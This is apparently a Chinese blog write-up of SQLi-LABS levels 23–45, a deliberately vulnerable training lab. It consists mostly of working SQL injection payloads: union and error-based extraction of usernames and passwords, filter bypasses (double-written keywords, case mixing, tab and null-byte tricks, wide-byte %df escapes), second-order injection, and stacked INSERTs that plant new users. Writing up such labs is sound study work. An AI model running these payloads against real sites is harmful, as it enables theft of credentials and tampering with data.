打靶日记-SQLi-LABS(二)
Level23
先输入?id=1' 发现报错,是单引号闭合,但是使用--+或者#注释时,依然报错,这一关应该是过滤了注释符,换个方式
?id=0' union select 1,2,3 and '1'='1 闭合查询语句得到回显位
接下来常规操作
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()and '1'='1
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' and '1'='1
?id=0' union select 1,2,group_concat(password,username) from users and '1'='1
这条语句会报错,union select
后的列定义应是 “字段或表达式”,而from users
是表级别的查询条件,不能直接作为列的一部分,会被 MySQL 判定为语法错误(类似 “在列定义中出现表名”)。这里再多说一点
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
这一条语句为什么不会出现上面的问题,因为
from users
:这是整个union select
子句的数据源声明,明确指定 “第三列的字段要从users
表中获取”,作用于整个select 1,2,group_concat(...)
查询,而非第三列的一部分,在报错语句中的and '1'='1
破坏了from
子句的语法完整性
(ai给出的解释,如有错请指正)
使用下面语句即可成功查询
?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1
Level24
这一关主要讲二次注入,之前没接触过这里参考文章SQL注入:二次注入-CSDN博客
可以跟着文章复现一下,这里先创建两个用户:
用户名 001,密码 1
用户名 001'# 密码 2
登入001'#的账号,修改密码,把密码修改为a,当我们再次登录是发现登入失败,使用001账户时却登入成功,也就是在001'#的账户修改了001的密码。
代码中没有任何前端输入过滤或验证(如限制特殊字符、检查用户名长度等),允许用户输入包含 SQL 特殊字符(如单引号'
、注释符#
等)的内容,在修改密码时没有对username进行转义直接拼接进sql语句,恶意用户名会被拼接到 SQL 中。
Level25
这一关已经提示过滤了or 和and,双写绕过
?id=1' oorrder by 4--+
?id=0' union select 1,2,3--+
?id=0' union select 1,2, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
?id=0' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema=database()--+
?id=0' union select 1,2,group_concat(passwoorrd) from users--+
Level26
这一关过滤了空格,注释符,斜杠
这里使用()绕过
?id=1' aandnd(updatexml(1,concat(0x7e,database(),0x7e),1))aandnd'1'='1
?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)) aandnd '1'='1
?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())aandnd(table_name='users')),0x7e),1)) aandnd '1'='1
?id=1' aandnd(updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1)) aandnd '1'='1
Level27
这一关过滤了union select 还有注释符和空格,这个可以使用双写绕过,或者大写绕过
union->ununionion
select->selecselectt
这里尝试union能绕过,但是select不能绕过,被做局了???
这里使用大小写绕过
?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)%09and'1'='1
?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='users')),0x7e),1)%09and'1'='1
?id=1'%09and%09updatexml(1,concat(0x7e,(seleCT(group_concat(username))from(users)),0x7e),1)%09and'1'='1
Level28
使用?id=1');%00判断得到是')闭合,我这一关看了源码
// connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row)
{echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else
{echo '<font color= "#FFFF00">';//print_r(mysql_error());echo "</font>";
}
}else { echo "Please input the ID as parameter with numeric value";}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
这一关是过滤了union select这一个组合,可以利用union all select绕过。payload如下
?id=0')%09union%09all%09select%091,2,database();%00
?id=0')%09union%09all%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where(table_schema=database());%00
?id=0')%09union%09all%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where(table_name='users')and(table_schema=database());%00
?id=0')%09union%09all%09select%091,2,group_concat(username)%09from%09users;%00
Level29
这一关就比较简单正常注入就行。
?id=0' union selct 1,2,group_cocnat(table_name) from information_schema.tables where table_schema=database()--+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
?id=0' union select 1,2,group_concat(username) from users--+
Level30
这一关是双引号闭合,payload基本同上,不再多说。
Level31
这一关是")闭合,payload基本同上,不再多说。
Level32
这里输入?id=1'
可以看到这里有个反斜杠,原来的查询语句
select * from users where id='$id'
当输入?id=1',查询语句为
select * from users where id='1\''
这里被转义了那个单引号被当做字符,
输入?id=1%df'
%df5c属于gbk2字节编码范围,会被编码为運,就是如图显示的乱码。此时的查询语句就是
select * from users where id='1運'' limit 0,1
这时就会报错.接下来就是常规操作
?id=0%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
这里用到单引号会被转义,换种方式十六进制转换
users的十六进制是 0x7573657273
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()--+
?id=0%df' union select 1,2,group_concat(username) from users--+
Level33
跟上一关payload一样。
Level34
这一关是post注入,抓包测试得列数是2,
uname=a%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=a&submit=Submit
uname=a%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&passwd=a&submit=Submit
uname=a%df'union select 1,group_concat(username) from users--+&passwd=a&submit=Submit
Level35
经过判断是数字型闭合,payload如下
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
?id=0 union select 1,2,group_concat(username) from users
Level36
常规操作
?id=0%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
?id=0%df' union select 1,2,group_concat(username) from users--+
Level37
常规操作
uname=a%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=a&submit=Submit
uname=a%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&passwd=a&submit=Submit
uname=a%df'union select 1,group_concat(username) from users--+&passwd=a&submit=Submit
Level38
这一关考察时堆叠注入,首先先正常注入
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
?id=0' union select 1,2,group_concat(username) from users--+
然后在使用堆叠注入插入一条数据
?id=1';insert into users(id,username,password) values('66','2','3')--+
再查询一下
?id=0' union select 1,2,group_concat(username) from users--+
Level39
同上,经判断是数字型闭合,插入即可
?id=1;insert into users(id,username,password) values('67','a','b')--+
新建成功😎
Level40
进过判断是')闭合。步骤同上
Level41
同39,是数字型
Level42
这里尝试新建用户发现不行,
在尝试登入是username应该是有字符过滤,在密码框中发现注入点
0' union select 1,database(),2;--+
0' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database();--+
0' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users';--+
0' union select 1,group_concat(username),2 from users;--+
插入信息
1';insert into users(id,username,password) values('69','k','l');--+
Level43
单引号括号闭合,payload参考上一题
Level44
这一题没有报错回显,只能一个一试。测试得到是单引号闭合,步骤同42
Level45
尝试得到是')闭合,步骤同上